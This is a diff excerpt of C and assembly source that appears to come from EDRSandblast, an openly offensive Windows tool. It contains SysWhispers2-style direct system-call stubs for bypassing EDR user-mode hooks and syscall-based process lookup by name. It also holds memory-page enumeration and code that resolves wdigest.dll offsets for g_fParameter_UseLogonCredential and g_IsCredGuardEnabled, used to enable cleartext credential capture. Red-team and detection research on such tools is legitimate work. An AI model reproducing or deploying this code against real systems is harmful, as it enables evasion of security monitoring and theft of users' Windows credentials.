if (filterPage) {
|
||||
// Ignore non-commited pages.
|
||||
if (memoryBasicInfo.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore mapped pages.
|
||||
if (memoryBasicInfo.Type == MEM_MAPPED) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_NOACCESS. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_GUARD.
|
||||
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ignore pages with PAGE_EXECUTE. {
|
||||
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
|
||||
if (!newRange) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newRange->next = NULL;
|
||||
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
|
||||
newRange->dataSize = regionSize;
|
||||
newRange->state = memoryBasicInfo.State;
|
||||
newRange->protect = memoryBasicInfo.Protect;
|
||||
newRange->type = memoryBasicInfo.Type;
|
||||
|
||||
if (!prangesList) {
|
||||
prangesList = newRange;
|
||||
}
|
||||
else {
|
||||
PMEMORY_PAGE_INFO lastRange = prangesList;
|
||||
while (lastRange->next) {
|
||||
lastRange = lastRange->next;
|
||||
}
|
||||
lastRange->next = newRange;
|
||||
}
|
||||
}
|
||||
|
||||
if (!prangesList) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return prangesList;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
#include "PEBBrowse.h"
|
||||
#include "PEParser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW2_SYSCALL_LIST SW2_SyscallList;
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW2_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
|
||||
Hash ^= PartialName + SW2_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
|
||||
if (a->Hash < b->Hash) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->Hash > b->Hash) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL SW2_PopulateSyscallList(void)
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW2_SyscallList.Count) return TRUE;
|
||||
|
||||
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
|
||||
// Populate SW2_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
Entries[i].Hash = SW2_HashSyscall(functionName);
|
||||
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW2_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
|
||||
|
||||
// Deduce the syscall numbers.
|
||||
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
|
||||
SW2_SyscallList.Entries[j].SyscallNumber = j;
|
||||
}
|
||||
|
||||
// Sort the list by hash for quicker search.
|
||||
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW2_SyscallList is populated.
|
||||
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
|
||||
|
||||
DWORD down = 0;
|
||||
DWORD up = SW2_SyscallList.Count;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
|
||||
return SW2_SyscallList.Entries[down].SyscallNumber;
|
||||
}
|
||||
else {
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.data
|
||||
currentHash DWORD 0
|
||||
|
||||
.code
|
||||
EXTERN SW2_GetSyscallNumber: PROC
|
||||
|
||||
WhisperMain PROC
|
||||
pop rax
|
||||
mov [rsp+ 8], rcx ; Save registers.
|
||||
mov [rsp+16], rdx
|
||||
mov [rsp+24], r8
|
||||
mov [rsp+32], r9
|
||||
sub rsp, 28h
|
||||
mov ecx, currentHash
|
||||
call SW2_GetSyscallNumber
|
||||
add rsp, 28h
|
||||
mov rcx, [rsp+ 8] ; Restore registers.
|
||||
mov rdx, [rsp+16]
|
||||
mov r8, [rsp+24]
|
||||
mov r9, [rsp+32]
|
||||
mov r10, rcx
|
||||
syscall ; Issue syscall
|
||||
ret
|
||||
WhisperMain ENDP
|
||||
|
||||
NtGetNextProcess PROC
|
||||
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtGetNextProcess ENDP
|
||||
|
||||
NtQueryInformationProcess PROC
|
||||
mov currentHash, 055A17810h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryInformationProcess ENDP
|
||||
|
||||
NtClose PROC
|
||||
mov currentHash, 054DEA057h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtClose ENDP
|
||||
|
||||
NtAllocateVirtualMemory PROC
|
||||
mov currentHash, 08708BDBBh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtAllocateVirtualMemory ENDP
|
||||
|
||||
NtOpenProcess PROC
|
||||
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtOpenProcess ENDP
|
||||
|
||||
NtQueryVirtualMemory PROC
|
||||
mov currentHash, 083906983h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtQueryVirtualMemory ENDP
|
||||
|
||||
NtReadVirtualMemory PROC
|
||||
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtReadVirtualMemory ENDP
|
||||
|
||||
NtCreateFile PROC
|
||||
mov currentHash, 086A15898h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtCreateFile ENDP
|
||||
|
||||
NtWriteFile PROC
|
||||
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
|
||||
call WhisperMain ; Resolve function hash into syscall number and make the call
|
||||
NtWriteFile ENDP
|
||||
|
||||
end
|
||||
@@ -0,0 +1,204 @@
|
||||
#include "SignatureOps.h"
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
|
||||
HCERTSTORE hCertStore = NULL;
|
||||
HCRYPTMSG hCryptMsg = NULL;
|
||||
DWORD dwCountSigners = 0;
|
||||
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
|
||||
PCMSG_SIGNER_INFO pSignerInfo = NULL;
|
||||
CERT_INFO certificateInfo = { 0 };
|
||||
PCCERT_CONTEXT pCertContext = NULL;
|
||||
TCHAR* tmpSignerName = NULL;
|
||||
TCHAR* pSigners = NULL;
|
||||
TCHAR* tmpSignerHolder = NULL;
|
||||
size_t sztmpSignerHolder = 0;
|
||||
TCHAR signerSeperator[] = TEXT(" | ");
|
||||
DWORD dwError = 0;
|
||||
BOOL returnStatus = 0;
|
||||
|
||||
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
|
||||
pFilePath,
|
||||
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
|
||||
CERT_QUERY_FORMAT_FLAG_BINARY,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&hCertStore,
|
||||
&hCryptMsg,
|
||||
NULL);
|
||||
|
||||
if (!returnStatus) {
|
||||
dwError = GetLastError();
|
||||
// File is not signed.
|
||||
if (dwError == CRYPT_E_NO_MATCH) {
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
return E_KO;
|
||||
}
|
||||
}
|
||||
|
||||
// Check that the file has at least one Signer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
|
||||
if (!returnStatus) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (dwCountSigners == 0) {
|
||||
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
return E_NOT_SIGNED;
|
||||
}
|
||||
|
||||
// Get Signer name of each certificates and concat to Signers string.
|
||||
for (DWORD index = 0; index < dwCountSigners; index++) {
|
||||
// index = 0;
|
||||
dwcbSz = 0;
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
|
||||
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
|
||||
if (!returnStatus || !dwcbSz) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
|
||||
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
|
||||
if (!pSignerInfo) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
|
||||
dwcbSzPrevious = dwcbSz;
|
||||
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
|
||||
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
|
||||
memset(&certificateInfo, 0, sizeof(CERT_INFO));
|
||||
certificateInfo.Issuer = pSignerInfo->Issuer;
|
||||
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
|
||||
|
||||
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
|
||||
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
|
||||
if (!pCertContext) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Retrieves the subject name. First call is done to determine the subject name size.
|
||||
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
|
||||
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
|
||||
if (!tmpSignerName) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
|
||||
if (!tmpSignerName) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Concat the subject to the already found ones, if any.
|
||||
if (pSigners) {
|
||||
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
|
||||
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!tmpSignerHolder) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
|
||||
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
|
||||
free(pSigners);
|
||||
pSigners = tmpSignerHolder;
|
||||
break;
|
||||
}
|
||||
else {
|
||||
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
|
||||
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
|
||||
if (!pSigners) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
|
||||
goto cleanup;
|
||||
}
|
||||
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
|
||||
}
|
||||
}
|
||||
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
|
||||
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
free(pSigners);
|
||||
return E_INSUFFICIENT_BUFFER;
|
||||
}
|
||||
else {
|
||||
*szOutSigners = sztmpSignerHolder;
|
||||
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
|
||||
free(pSigners);
|
||||
return E_SUCCESS;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pCertContext) {
|
||||
CertFreeCertificateContext(pCertContext);
|
||||
pCertContext = NULL;
|
||||
}
|
||||
|
||||
if (hCryptMsg) {
|
||||
CryptMsgClose(hCryptMsg);
|
||||
hCryptMsg = NULL;
|
||||
}
|
||||
|
||||
if (hCertStore) {
|
||||
CertCloseStore(hCertStore, 0);
|
||||
hCertStore = NULL;
|
||||
}
|
||||
|
||||
if (pSignerInfo) {
|
||||
free(pSignerInfo);
|
||||
pSignerInfo = NULL;
|
||||
}
|
||||
|
||||
if (tmpSignerName) {
|
||||
free(tmpSignerName);
|
||||
tmpSignerName = NULL;
|
||||
}
|
||||
|
||||
return E_KO;
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
/*
|
||||
|
||||
--- Utility function to generate a random string.
|
||||
|
||||
*/
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
//BOOL isFullPath(IN TCHAR* filename) {
|
||||
// char c;
|
||||
//
|
||||
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
|
||||
// return TRUE;
|
||||
// }
|
||||
//
|
||||
// c = filename[0] | 0x20;
|
||||
// if (c < 97 || c > 122) {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[1];
|
||||
// if (c != ':') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// c = filename[2];
|
||||
// if (c != '\\') {
|
||||
// return FALSE;
|
||||
// }
|
||||
//
|
||||
// return TRUE;
|
||||
//}
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
|
||||
unicodeString->Buffer = wcharString;
|
||||
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
|
||||
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
|
||||
}
|
||||
|
||||
BOOL srandDone = FALSE;
|
||||
|
||||
/*
|
||||
* Generates a "length"-long random alphanumeric string
|
||||
* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
|
||||
*/
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t length) {
|
||||
if (!srandDone) {
|
||||
srand((unsigned int)time(0));
|
||||
srandDone = TRUE;
|
||||
}
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (length) {
|
||||
for (size_t n = 0; n < length; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[length] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* allocAndGenerateRandomString(size_t length) {
|
||||
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
|
||||
if (str == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
generateRandomString(str, length);
|
||||
return str;
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
#include "SyscallProcessUtils.h"
|
||||
|
||||
// Retrieve a given process PID.
|
||||
DWORD SandGetProcessPID(HANDLE hProcess) {
|
||||
PROCESS_BASIC_INFORMATION basicInformation;
|
||||
basicInformation.UniqueProcessId = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (DWORD) basicInformation.UniqueProcessId;
|
||||
}
|
||||
|
||||
// Retrieve a given process image (PE full path).
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
|
||||
NTSTATUS status;
|
||||
ULONG ProcessImageLength = 1;
|
||||
PUNICODE_STRING ProcessImageBuffer = NULL;
|
||||
|
||||
do {
|
||||
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
|
||||
if (NT_SUCCESS(status)) {
|
||||
break;
|
||||
}
|
||||
|
||||
free(ProcessImageBuffer);
|
||||
ProcessImageBuffer = NULL;
|
||||
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||
|
||||
if (!ProcessImageBuffer) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ProcessImageBuffer;
|
||||
}
|
||||
|
||||
// Extract filename from process image full path.
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
|
||||
if (ProcessImageUnicodeStr->Length == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Process name will be /binary.exe.
|
||||
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
|
||||
if (!ProcessName) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Skip the /.
|
||||
ProcessName = &ProcessName[1];
|
||||
|
||||
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
|
||||
if (ProcessNameLength > nSize) {
|
||||
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
|
||||
return ProcessNameLength;
|
||||
}
|
||||
|
||||
// Find a process PID using its filename.
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
HANDLE hProcess = NULL;
|
||||
PUNICODE_STRING currentProcessImage = NULL;
|
||||
TCHAR* currentProcessName = NULL;
|
||||
DWORD currentProcessNameSz = 0;
|
||||
|
||||
*pPid = 0;
|
||||
|
||||
while (*pPid == 0) {
|
||||
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
|
||||
|
||||
if (status == STATUS_NO_MORE_ENTRIES) {
|
||||
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
|
||||
return STATUS_NO_MORE_ENTRIES;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
currentProcessImage = SandGetProcessImage(hProcess);
|
||||
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
|
||||
if (!currentProcessName) {
|
||||
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
|
||||
|
||||
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
|
||||
*pPid = SandGetProcessPID(hProcess);
|
||||
break;
|
||||
}
|
||||
|
||||
free(currentProcessImage);
|
||||
currentProcessImage = NULL;
|
||||
free(currentProcessName);
|
||||
currentProcessName = NULL;
|
||||
}
|
||||
|
||||
if (*pPid) {
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
else {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
}
|
||||
@@ -9,24 +9,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
union WdigestOffsets g_wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
|
||||
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetWdigestPath() {
|
||||
if (_tcslen(g_wdigestPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
